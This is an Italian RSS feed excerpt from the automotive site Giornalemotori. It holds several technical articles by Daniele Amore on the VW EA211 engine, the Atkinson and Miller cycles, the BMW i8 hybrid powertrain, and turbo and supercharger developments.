<p class="wp-block-paragraph">Il Motore VW,&nbsp; ha un catalizzatore immediatamente a valle del turbocompressore per ridurre al meglio le emissioi, tutto è gestito da una centralina Bosh Motronic ME 17.5.21. L&#8217;EA211 1.0 Litri TSI esiste in diverse configurazioni di potenza da 75cv, passando per il 95 Cv a 5.500 giri / minuto e 160 Nm di coppia da 1.500-3.500 giri / min, 110cv e 115cv a 5500 Giri/minuto, per una coppia di 200Nm disponibile dai 1500 Giri/minuto e che rimane costante fino ai 3500 Giri/minuto, un dettaglio che lo rende particolarmente elastico ed adattabile ad una molteplice varietà di veicoli. La manutenzione prevede sostituzione olio ogni 15000Km o 12 mesi con olio 5W-40. Essendo un motore già presente da qualche anno, possiamo anche fare una analisi approfondita di eventuali difetti che può presentare questo propulsore. Per quanto ottimo nelle prestazioni, comunque ci possono essere situazioni critiche che vanno messe in conto. Una su tutte l&#8217;utilizzo di una miscela molto magra di carburante, condizione che non consente alla miscela di formare quello strato di protezione per il cielo della camera di combustione soprattutto le valvole di aspirazione e relative sedi. Inoltre viene a mancare la funzione detergente affidata alla benzina se questa è poca nella combustione.</p>



<p class="wp-block-paragraph">Quindi è bene che chi decida di acquistare una vettura dotata di questo propulsore che adotti fin da subito e per sempre un carburante al alto numero di ottani tipo 98 Ron almeno osservando i controlli meccanici previsti dal libretto di uso e consumo in modo scruploso ed adottando il tipo di olio specificato non solo nella gradazione specificata ma anche nella marca e caratteristiche presso un centro assistenza autorizzato, soprattutto almeno una volta all&#8217;anno. In questo modo il piccolo motore VW rimane affidabile per tutto il suo arco di esistenza.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>



<p class="wp-block-paragraph">&nbsp;</p>
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			</item>
		<item>
		<title>Il Motore Endotermico: Il Ciclo Atkinson/Miller ed i propulsori che li utilizzano</title>
		<link>https://www.giornalemotori.com/2019/02/22/il-motore-endotermico-il-ciclo-atkinson-miller-ed-i-propulsori-che-li-utilizzano/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=il-motore-endotermico-il-ciclo-atkinson-miller-ed-i-propulsori-che-li-utilizzano</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 22 Feb 2019 09:43:22 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<guid isPermaLink="false">https://www.giornalemotori.com/?p=81202</guid>

					<description><![CDATA[<p>Volendomi ricollegare all'articolo pubblicato qualche settimana fa circa il futuro del motore endotermico, questo secondo articolo vuole fare chiarezza entrando nel dettaglio delle soluzioni che sono state menzionate partendo dal Ciclo Atkinson ed il Ciclo Miller.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2019/02/22/il-motore-endotermico-il-ciclo-atkinson-miller-ed-i-propulsori-che-li-utilizzano/">Il Motore Endotermico: Il Ciclo Atkinson/Miller ed i propulsori che li utilizzano</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Volendomi ricollegare all&#8217;<a href="https://www.giornalemotori.com/2019/02/02/il-motore-endotermico-le-soluzioni-tecniche-che-lo-terranno-in-vita-nei-prossimi-anni/">articolo pubblicato qualche settimana fa</a> circa il futuro del motore endotermico, questo secondo articolo vuole fare chiarezza entrando nel dettaglio delle soluzioni che sono state menzionate partendo dal <strong>Ciclo Atkinson ed il Ciclo Miller</strong>. Il motore benzina come tutti sanno o per lo meno chi ha fatto un po di scuola guida quando insegnava come era fatta un auto prima di guidarla, ha lo scopo di trasformare l&#8217;energia scaturita dalla combustione di una miscela formata da aria e benzina secondo quattro fasi ben distinte. <strong>Aspirazione, Compressione, Espansione e Scarico.</strong> Questo ciclo di funzionamento è denominato <strong>Ciclo Otto</strong> dal nome dell&#8217;Ingegnere che lo ha studiato e sviluppato. Questo ciclo ha una serie di difetti, uno dei quali di avere tre delle quattro fasi di lavoro passive, cioè Aspirazione e Scarico soprattutto non producono lavoro attivo per la trazione ma solo passivo, cioè assorbe energia mentre la fase di compressione assorbe solo parzialmente energia mentre per una piccola parte collabora assieme all&#8217;espansione per lo sviluppo di potenza utile.</p>



<p class="wp-block-paragraph">Per risolvere questa deficienza James Atkinson modificò il ciclo Otto facendo lavorare diversamente le fasi passive dall&#8217;unica attiva. Atkinson usava una diversa geometria del manovelismo, consentendo una corsa diversa tra compressione ed espansione, limitando le perdite nella fase passiva a vantaggio del rendimento complessivo.&nbsp; Nei motori moderni, molti produttori dichiarano di usare questo ciclo di lavoro per migliorare il rendimento dei propri propulsori, ma non avendo un manovelismo dedicato, ma funzionando con la stessa biella e manovella del motore ciclo otto, la differenza di lavoro nelle fasi ci compressione ed espansione avviene utilizzando un altro ciclo di lavoro quello Miller. Anche questo ha come base il ciclo Otto, quindi le quattro fasi ci sono, ma cerca di raggiungere il risultato voluto da Atkinson mantenendo le geometrie del primo. Nella fase di compressione si tiene la valvola di aspirazione aperta per una angolo maggiore di rotazione dell&#8217;albero motore. In questo modo si ha un reflusso di parte dell&#8217;aria aspirata in fase di aspirazione.</p>



<p class="wp-block-paragraph">Questo porta ad un minore riempimento del cilindro variando il rapporto di compressione. La fase di espansione differenziata recupera efficienza grazie alla maggiore corsa. Usando il Ciclo Miller si ottiene una miscela omogenea e con minore quantità di benzina meglio nebulizzata, una minore temperatura dei gas di scarico, meno lavoro meccanico, ma anche meno pressione sul cielo del pistone. Quindi maggiore efficienza e rendimento con minori consumi ma meno potenza. In sostanza in proporzione alla quantità di aria che si fa respinge attraverso l&#8217;apertura della valvola di aspirazione aperta il motore di comporta come uno di cilindrata più piccola avendo il volume di aria aspirata di un cilindro inferiore. Questo porta inevitabilmente ad una perdita di potenza che viene compensato o dalla cilindrata aumentata, o dall&#8217;utilizzo di un piccolo compressore, o dell&#8217;aggiunta della trazione elettrica. Una volta chiarito la differenza tra i due cicli, facciamo una panoramica su ciò che il mercato dell&#8217;auto offre per questi due tipi di funzionamento prendendo ad esempio tre motori: <strong>Il Nissan VC-TUrbo, Il Mazda Skyactiv-X e l&#8217;EA211 TSFI EVO di Volkswagen.</strong></p>



<p class="wp-block-paragraph">Parto dal propulsore Nissan perchè è l&#8217;unico ad oggi che funzione con ciclo molto simile a quello Atkinson. Il <strong>VC-Turbo</strong> a compressione variabile, come dice il nome stesso varia la compressione allungando ed accorciando la corsa del pistone fino a 6 mm tramite un manovelismo appositamente progettato diverso da quello canonico che i tecnici Nissan chiamano Multilink. Nel dettaglio Il motore ha un alesaggio di 84mm che rimane fisso, mente la corsa per ottenere un rapporto di compressione di 8:1 &nbsp;fino a 14:1 variando anche la cilindrata varia a seconda da 1997cc a 1970cc. Il nuovo multilink &nbsp;viene montato su un albero motore tradizionale ma viene gestito da un piccolo motore elettrico che muove un riduttore per cambiare variare la posizione e la corsa. &nbsp;La coppia generata dal piccolo riduttore fa ruotare secondo un angolo predefinito il leveraggio attraverso un piccolo alberino di controllo.</p>


<div class="wp-block-image">
<figure class="alignleft"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/infiniti-vc-turbo-engine_100568018_h.jpg" alt="infiniti vc turbo engine 100568018 h" class="wp-image-81208" title="Il Motore Endotermico: Il Ciclo Atkinson/Miller ed i propulsori che li utilizzano 791"></figure>
</div>


<p class="wp-block-paragraph">Per limitare la perdita di potenza rispetto al miglioramento del rendimento si è adottata una sovralimentazione mediante Turbo Honeyweell che garantisce una ampia portata di aria senza rinunciare ad una buona risposta ai bassi regimi. L&#8217;iniezione è diretta e l&#8217;apertura delle valvole di aspirazione sono gestita come logico elettronicamente. Il rendimento complessivo viene migliorato dalle finiture delle canne dei cilindri a specchio per un migliore attrito tra le parti in movimento, ed un collettore di scarico integrato per consentire un migliore lavoro della Turbina, ed una valvola controllata elettronicamente per il funzionamento differenziato del sistema di &nbsp;raffreddamento. Il <strong>Mazda Skiactiv-X</strong> di Mazda è un motore a ciclo Miller che unisce due mondi. Infatti il suo funzionamento pur restando a benzina si comporta come un diesel, unendo la gradevolezza del motore benzina alla coppia e l&#8217;efficienza del motore a gasolio. Il propulsore lavora con una miscela di aria-carburante molto magra, ad una elevata pressione interna la cilindro che consente al combustibile di accendersi come se fosse una unità a gasolio. La scintilla c&#8217;è come in un normale motore benzina, &nbsp;ma ha la funzione di rendere la combustione più omogenea e regolare evitando la detonazione che avverrebbe se si accendesse per autocombustione. La Mazda dichiara per lo Skiactiv-X una riduzione dei consumi dal 20 al 30% pur restando con valori di potenza uguali al suo cugino Siactiv-G 2.0 litri benzina.</p>



<p class="wp-block-paragraph">Nel dettaglio Il motore tiene la valvola di aspirazione aperta fa uscire la miscela in eccesso, per poi comprimere in modo maggiore quella che resta. Per controllare la combustione i progettisti giapponesi utilizzano la tecnologia <strong>SPYCI-X derivata da quella già nota SPCCI (Spark Controlled Compression Ignition) cioè il controllo elettronico della accensione per scintilla, che a sua volta non è altro che la versione Mazda del sistema HCCI (Homogeneous Charge Compression Ignition), usato anche per i motori moderni di Formula 1.</strong> &nbsp;Un sistema appunto che consente di controllare l&#8217;accensione controllata di una miscela magra di benzina con un alto rapporto di compressione tipico dei motori che lavorano per autoaccensione come i diesel.</p>



<p class="wp-block-paragraph">In questo caso la combustione avviene in modo simultaneo per tutta la quantità di miscela, con un fronte di fiamma controllato. Il vantaggio principale è la riduzione consistente degli NOx che sono invece presenti nei diesel per effetto del&#8217;autocombustione controllo per scintilla. Il lavoro fatto dai tecnici Mazda per far funzionare al meglio questo propulsore, va dalla riprogettazione dei collettori di aspirazione, la gestione dell&#8217;iniezione diretta di benzina, fino ai collettori di scarico. Inoltre per non avere perdite di potenza rilevanti hanno adottato anche un piccolo compressore volumetrico per comprimere l&#8217;aria in ingresso garantendo un maggiore volume pur con una camera di combustione ridotta.</p>



<p class="wp-block-paragraph">Anche il <strong>Volswagen EA211 TSFI Evo</strong> lavora con il ciclo Miller è più pragmatico, più attuale, meno futuristico perchè ottimizza tecnologie già esistenti. Infatti in questo propulsore non si tiene aperta la valvola di aspirazione per più tempo ricacciando indietro parte della miscela, ma al contrario la si chiude in anticipo aspirando meno aria di quanta ne necessiti. Lo scopo ed il risultato finale sono gli stessi potendo garantire un rapporto di compressione di 12:1.&nbsp; L&#8217;iniezione diretta di carburante per lavorare nelle nuove condizioni di miscela aria combustibile è stata migliorata portando la pressione a 350 bar. Per effetto della minore temperatura dei gas combusti, la Volkswagen ha adottato una turbina appositamente progettata denominata VGT, a geometria variabile, di solito sconsigliata per i motori benzina per l&#8217;elevata temperatura dei gas combusti. Inoltre ci sono altri sistemi che rendono ancora più efficiente questo propulsore come la disattivazione a seconda degli utilizzi di due cilindri a carichi parziali.</p>



<p class="wp-block-paragraph">Questi elencati sono solo tre esempi, di come lavorano al giorno d&#8217;oggi motori a Ciclo Atkinson e Ciclo Miller in modo differente ma con lo stesso scopo. Sta all&#8217;automobilista premiare una soluzione piuttosto che un altra a seconda delle proprie esigenze di guida e comfort.</p>



<p class="wp-block-paragraph">A noi spetta il compito di fare chiarezza su cosa ognuno di noi ha sotto il cofano, sapendo che nel futuro prossimo altri costruttori si affacceranno su questa tecnologia e lo faranno con la solita fantasia progettuale che caratteristica degli staff tecnici delle grandi case automobilistiche. <strong>Il motore endotermico non è ancora al capolinea!</strong></p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>Best Engine: La propulsione ibrida della BMW i8</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 08 Feb 2019 14:29:56 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La BMW i8, la prima auto sportiva ibrida ad alte prestazioni. La sua powert unit abbinato al leggerot telaio in carbonio è in grado di garantire prestazioni da vera gran turismo portiva alla coupè della casa bavarese. </p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2019/02/08/best-engine-la-propulsione-ibrida-della-bmw-i8/">Best Engine: La propulsione ibrida della BMW i8</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80928" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/bmw-i8-engine-plant-6-300x200.jpg" alt="bmw i8 engine plant 6" width="300" height="200" title="Best Engine: La propulsione ibrida della BMW i8 792">La BMW i8, la prima auto sportiva ibrida ad alte prestazioni. La sua powert unit abbinato al leggerot telaio in carbonio è in grado di garantire prestazioni da vera gran turismo portiva alla coupè della casa bavarese. Il sistema propulsivo eDrive BMW è composto da una unità endotermca di 1.5 litri sovralimentata abbinata ad un motore elettrico in gradod i fornire 131cv per una potenza complessiva di 362cv che garantiscono uno scatto sullo 0-100 km/h di 4,3 secondi. Insomma c&#8217;è ne abbastanza per entrare a pieno titolo nella nostra rubrica Best Engine. Il sistema si compone di un tre cilindri benzina sovralimentato di 1499 cm3,  con una potenza di 231cv a 5800 giri/min, per una coppia di 320Nm per una rapporto di 154cv/litri.  Per questo piccolo propulsore la BMW ha adottato una sovralimentazione a doppio stadio, l&#8217; iniezione diretta di benzina ad alta pressione ed il controllo delle valvole di aspiazione ad apertura variabile VALVETRONIC, mentre il motore elettrico è di tipo asincrono con inverter, e modulo di controllo per la rigenera per fungere da generatore per le batterie nelle fasi di recupero. Il propulsore elettrico eroga 131cv con 250Nm di coppia che porta a 570 Nm il valore di coppia nel suo complesso quando i due propulsori lavorano all&#8217;unisono.</p>
<p><figure id="attachment_80929" aria-describedby="caption-attachment-80929" style="width: 300px" class="wp-caption alignleft"><img decoding="async" class="size-medium wp-image-80929" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/ge5723265292954097834-300x200.jpg" alt="ge5723265292954097834" width="300" height="200" title="Best Engine: La propulsione ibrida della BMW i8 793"><figcaption id="caption-attachment-80929" class="wp-caption-text">Generated by pixel @ 2019-01-15T16:12:16.655576</figcaption></figure></p>
<p style="text-align: justify;">La batteria è ad ioni di litio ed ha una camacita di 5.0 Kw/h caribabile anche con presa Plug-In con un tempo di ricarica all&#8217;80% di due ore con box di BMW. Il sistema funziona con il motore endotermico che fonisce potenza alle ruote posteriori, mentre il motore elettrico è collegato all&#8217;asse anteriore. In sostanza quando i due motori lavorano all&#8217;unisono la BMW i8 è di fatto una vettura a trazione integrale. La trasmissione è di un cambio automatico a sei rapporti per il motore endotermico, mentre quello elettrico ha una sua trasmissione dedicata a doppia velocità. La BMW è particolarmente ottimista sul fatto che questi due propulsori lavorano pressocchè sempre all&#8217;unisono che ha dotato la i8 di un piccolo serbatoio di benzina da 32 litri che utilizzando la doppia fonte di energia comunque dovrebbe garantire nel suo complesso più di 550km. Inoltre la i8 è in grado di viaggiare in modalità full elettrico per una percorrenza media di 32 km ad una velocità massima controllata elettronicamente di 120km/h.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80930" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/P90130608-bmw-i8-technical-art-08-2013-2121px-300x212.jpg" alt="P90130608 bmw i8 technical art 08 2013 2121px" width="300" height="212" title="Best Engine: La propulsione ibrida della BMW i8 794">Secondo le norme ed i cicli di omologazioni vigenti oggi in Europa la i8 garantisce le sue prestazioni assicurando un consumo medio per l&#8217;uso misto di 2,5 litri/100km per un emisisone di CO2 pari a 59 g/km.  L&#8217;utilizzo di una scocca interamente in carbonio ha consentito di tenere entro limiti accettagili il peso della vettura che si attesta intorno ai 1490kg.  In definitiva la BMW i8 ad oggi non può essere annoverata tra le supercar, e per numeri ogni cavallo espresso costa 419Euro. In ogni caso per la bontà del suo motore endotermico, che preso da solo resta uno dei migliori in assoluto del panorama motoristico mondiale, forma con l&#8217;interazione del motore elettrico un sistema di propulsione ad oggi ancora non eguagliato per le prestazioni che offre. Purtroppo la sua poca diffuzione e lo sviluppo della vettura nel suo complesso rende la i8 decisamente più costosa rispetto alla più vicina delle concorrenti in famiglia come la BMW M2 dalle prestazioni analoghe per un prezzo che è la metà.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 02 Feb 2019 19:14:20 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>L'elettrificazione nell'autotomotive avanza, non si arresta, ma nonostante tutto la sua affermazione non è così veloce come si pensava o come pensano i fautori incalliti dell'elettrico. Il motore endotermico non è ancora morto. Oggi sotto attacco è il diesel ma per inciso è solo l'inizio, una volta che sarà terminata la caccia alle streghe contro il gasolio l'obiettivo si sposterà sul motore a benzina. Intanto che si organizzano i governi,  i produttori si orientano provando a migliorare la tecnologia a disposizione al giorno d'oggi sviluppando la propulsione ibrida,  parte elettrica e parte endotermica, mentre lavorano ad intere linee di produzione indipendenti per l'avvento dell'elettrico.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2019/02/02/il-motore-endotermico-le-soluzioni-tecniche-che-lo-terranno-in-vita-nei-prossimi-anni/">IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80814" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/fb_img_1425680576300-54fa28caa0602-300x192.jpg" alt="fb img 1425680576300 54fa28caa0602" width="300" height="192" title="IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni 795">L&#8217;elettrificazione nell&#8217;autotomotive avanza, non si arresta, ma nonostante tutto la sua affermazione non è così veloce come si pensava o come pensano i fautori incalliti dell&#8217;elettrico. Il motore endotermico non è ancora morto. Oggi sotto attacco è il diesel ma per inciso è solo l&#8217;inizio, una volta che sarà terminata la caccia alle streghe contro il gasolio l&#8217;obiettivo si sposterà sul motore a benzina. Intanto che si organizzano i governi,  i produttori si orientano provando a migliorare la tecnologia a disposizione al giorno d&#8217;oggi sviluppando la propulsione ibrida,  parte elettrica e parte endotermica, mentre lavorano ad intere linee di produzione indipendenti per l&#8217;avvento dell&#8217;elettrico. Questo articolo si concentra sul motore endotermico, la sua evoluzione e lo sviluppo delle soluzioni tecniche che arriveranno. Le vie sono due, quella di migliorare il propulsore naturalmente aspirata abbinandolo alla trazione elettrica, o prendere la via della sovralimentazione.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80815" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/Atkinson-Otto-abre-300x169.jpg" alt="Atkinson Otto abre" width="300" height="169" title="IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni 796"> Nel primo caso i giapponesi sono in prima linea con motori aspirati che funzionano a <strong>Ciclo Atkinson</strong>, anche se per correttezza a parte la <strong>Nissan VC- Turbo</strong> che ha inventato un manovelismo che funziona secondo le caratteristiche dell&#8217;Atkinson. Gli altri propulsori Toyota, Honda etc, sono più propriamente simili ad un motore a <strong>Ciclo Miller </strong>dove la valvola di aspirazione viene tenuta aperta per un angolo di rotazione maggiore della norma ottenendo l&#8217;effetto di un reflusso della aria aspirata verso il condotto di aspirazione, oppure attraverso una chiusura anticipata della stessa valvola durante la fase di aspirazione. Lo scopo è quello di ridurre il riempimento del cilindro e quindi anche il rapporto di compressione pur mantenendo inalterata la corsa geometrica del motore. La minore pressione,  unita ad una temperatura dei gas combusti più bassa al termine della fase di espansione ed una maggiore quantità di calore che viene convertita in lavoro meccanico, migliorano il rendimento complessivo a scapito di una certa perdita di potenza compensata dalla presenza di un motore elettrico. Ci sono anche costruttori europei che rimangono sul classico, come <strong>Lamborghini che insistono con i</strong> <strong>V10 e V12 aspirati di grosse dimensioni,</strong> ed in tutta onestà,  la speranza di chi scrive, è che a Sant&#8217;Agata Bolognese tengano duro resistendo alle sirene della sovralimentazione.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80816" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/CicloMiller-apertura-300x200.jpg" alt="CicloMiller apertura" width="300" height="200" title="IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni 797">La seconda strada è quella della compressione, ma intendiamoci,  il turbo dei suoi albori, gli anni 80,  con quel bel calcio nella schiena dovuto a ritardo con cui la girante andava in pressione non è più tollerabile oggi. Non c&#8217;è verso, per quanto gli appassionati amassero quella spinta improvvisa e violenta, non è funzionale per la signora che deve accompagnare i bimbi a scuola. Quindi,  i produttori di auto, ed i loro progettisti, stanno tentando da anni di coniugare i vantaggi della tecnologia di compressione conservando le doti di confort di un motore aspirato. Il risultato è che oggi ci sono motori <strong>Turbo Intelligenti</strong> che sembrano aspirati di ben più grossa cilindrata. La sovralimentazione quindi unica via per ottenere emissioni basse ed in linea con le norme sempre più stingendi,  è ottenibile i due modi. La più antica, quella utilizzata quasi fin dalla nascita del motore endotermico stesso, è il <strong>compressore volumetrico</strong> collegato al motore in modo meccanico.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80817" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/1302165871001_4774147377001_4774078058001-vs-300x169.jpg" alt="1302165871001 4774147377001 4774078058001 vs" width="300" height="169" title="IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni 798" srcset="https://www.giornalemotori.com/wp-content/uploads/2019/02/1302165871001_4774147377001_4774078058001-vs-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2019/02/1302165871001_4774147377001_4774078058001-vs.jpg 480w" sizes="(max-width: 300px) 100vw, 300px" />Il vantaggio sta nel fatto che la pressione viene raggiunta immediatamente rimanendo costante, però ha il problema di non poter raggiungere pressioni molto elevate assorbendo energia meccanica. Una contraddizione visto che i progettisti si disperano per migliorare il rendimento meccanico dei propri motori, per poi vedersi vanificato il lavoro ad un elemento esterno che assorbe potenza. Ma la tecnologia migliora anche per i compressori volumetrici. La <strong>Eaton </strong>lavora da anni per migliorare la capacità di comprimere aria assorbendo meno potenza possibile al punto che secondo i tecnici del colosso americano  l&#8217;assorbimento a fronte dei vantaggi è trascurabile.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80818" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/skyactiv_x_banner-300x154.jpg" alt="skyactiv x banner" width="300" height="154" title="IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni 799">Un esempio è il <strong>compressore volumetrico tipo Rootes TVS2 (Twin Vortici Series). </strong>Ci sono anche costruttori come <strong>Mazda con il suo motore benzina SkyActiv-X</strong>  che  utilizza un piccolo compressore a cinghia come una pompa d&#8217;aria, non per aumentare la potenza, ma per fornire aria in eccesso per sostenere la combustione magra fasi del funzionamento del motore. Per dovere di cronaca, dobbiamo dire che già negli anni 80 l&#8217;ingegno italiano era riuscito a ridurre sia i problemi sia della sovralimentazione volumetrica che quella del turbo adottando entrambe le soluzioni in modo congiunto. La <strong>Lancia Delta S4 Gruppo B,</strong> usava entrambe le soluzioni facendole lavorare in serie. Un esempio di altissima ingegneria, soprattutto senza l&#8217;ausilio dell&#8217;elettronica moderna ancora oggi impareggiabile ed inarrivabile.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80819" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/Turbocharger-300x233.jpg" alt="Turbocharger" width="300" height="233" title="IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni 800">Il motivo per cui la stragrande maggioranza dei tecnici, invece, si sta affezionando alla sovralimentazione, adottano il Turbo,  è per la sua capatità rispetto ad un compressore volumetrico di avere una maggiore <strong>entalpia,</strong> cioè la sommatoria più alta di fattori come energia interna del sistema ed il prodotto della pressione per il volume, fondamentale per ridurre le emissione di CO2. Resta da porre rimedio al fatto che la girante che viene investita dai gas di scarico funziona correttamente solo quando questi hanno l&#8217;energia ideale, cosa che non succede a tutti i giri del motore. Quindi avere un energia costante che alimenta in modo regolare la turbina è fondamentale, soprattutto perchè tutti o quasi i motori a benzina turbo moderni si portano appresso una sorellina fastidiosa come la valvola <strong>EGR</strong> per il riciclo dei gas di scarico ed il filtro antiparticolato. Secondo i progettisti della <strong>BorgWarner, </strong> uno dei maggiori produttori di turbo, non è possibile, nel 2018, progettare un sistema Turbo generico separato dal motore che deve andare ad equipaggiare.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80820" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/eng_pl_Borg-Warner-179389-EFR-7064-T4-A-R-0-92-WG-turbocharger-2497_7-300x240.jpg" alt="eng pl Borg Warner 179389 EFR 7064 T4 A R 0 92 WG turbocharger 2497 7" width="300" height="240" title="IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni 801">L&#8217;accoppiamento del Turbo al motore cambia determinando un diverso sfruttamento della coppia e di conseguenza anche l&#8217;erogazione della potenza in funzione del motore che lo ospita anche se il produttore del turbo è lo stesso e la sigla analoga. Ormai non si parla più di potenza pura, si deve deve parlare di cavalli intelligenti, ecologicamente sostenibili. Nei motori Turbo Diesel,  per limitare il ritardo e migliorare la risposta si usa da anni la geometria variabile. La turbina, grazie ad un sistema di strozzatura a pale, aumenta la rotazione ai bassi regimi per poi liberarla continuando a fornire la spinta a massimo carico.  Questo sistema è usato poco sui motori turbo benzina  per il fatto che i diesel hanno una temperatura dei gas di scarico minore, mentre i ciclo otto con i loro 900 gradi potevano creare problemi di affidabilità. Basti pensare che i tuner più precisi, hanno sempre un misuratore temperatura dei gas di scarico per preservare la turbina dei clienti.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80821" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/Variable-Turbine-Geometry-300x200.jpg" alt="Variable Turbine Geometry" width="300" height="200" title="IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni 802"> Il problema è stato risolto dalla <strong>Volkswagen</strong> che utilizza la <strong>Turbina a geometria variabile VTG. </strong>I tecnici tedeschi hanno lavorato per ridurre gli attriti e l&#8217;inerzia migliorando la risposta e la guidabilità adottandola  anche per il motore TSI da 1,5 litri, oltre che per i Turbo di casa Porsche.  Questo propulsore di ultima generazione, funziona con un <strong>Ciclo Miller </strong>generando una curva di coppia sostanziosa e costante di 200 Nm disponibile già da 1.400 rpm e che rimane tale fino a 4.000 rpm, condizioni ancora più gravose rispetto ad un sovralimentato di tipo tradizionale. Sempre restando in casa Volkswagen, lato <strong>Audi,</strong> su alcuni modelli  sportivi vome la RS3, viene usato un <strong>turbo RAAX prodotto da Continental</strong>. In questo caso il gas di scarico non entrano nella chiocciola in modo radiale ma arrivano a lambire la girante in modo assiale. Un turbo che necessita di un riprogettazione completa della girante della turbina con una diversa conformazione geometrica della curvatura delle palette. Il Turbo migliora la sua efficienza consentendo la riduzione di circa il 40% della dell&#8217;inerzia conservando un ottima efficienza, ma non è dotato di geometria variabile.</p>
<p style="text-align: justify;"><img decoding="async" class="alignleft size-medium wp-image-80822" src="https://www.giornalemotori.com/wp-content/uploads//2019/02/bmw-twinpower-turbo-engines-explained_1-300x225.jpg" alt="bmw twinpower turbo engines explained 1" width="300" height="225" title="IL motore endotermico: Le soluzioni tecniche che lo terranno in vita nei prossimi anni 803">La tegnologia VTG del gruppo Volkswagen ha il pregio di potersi diffondere anche su motori piccoli  e di grande diffusione.  Ormai non c&#8217;è costruttore che non abbia in listino un 1.0 litri turbo con vari livelli di potenza beneficiando della ricaduta tecnologica di sistemi complessi prima riservati a Supercar come nel caso di Porsche. Il passo successivo è la <strong>sovralimentazione a doppio stadio,</strong> che ha permesso per la prima volta di avere diesel dalla potenza di 100cv/litro. Il sistema prevede un turbo di piccole dimensioni per una buona risposta a bassi regimi ed un turbo in serie più grande per ottenere la potenza e coppia massima agli alti regimi. Una tecnologia che ad oggi si sta diffondendo anche per i motori a benzina in particolare BMW. Lo sviluppo della sovralimentazione ha portato all&#8217;evoluzione anche dei condotti che alimentano il turbo.Oggi,  ogni sistema è dotato di condotti<strong> Twin-Scroll</strong>, cioè è alimentato da condotti  che consentono di avere flussi di scarico separati per massimizzando l&#8217;effetto degli impulsi del gas migliorando considerevolmente risposta, il tutto con l&#8217;aiuto indispensabile dell&#8217;elettronica. Le valvole come la wast-gate vengono controllate in modo elettronico per avere un migliore monitoraggio della pressione di esercizio senza vincoli meccanici.  Un esempio di eccellente sfruttamento dei condotti per alimentare il turbo è rapprsentato dal <strong>motore</strong> <strong>turbo benzina progettato da Mercedes e Renault.</strong> Questo propulsore ricava i condotti di scarico internamente alla testa in modo da avvicinare la turbina alla camera di combustione ed utilizzare al meglio l&#8217;energia dei gas di scarico.</p>
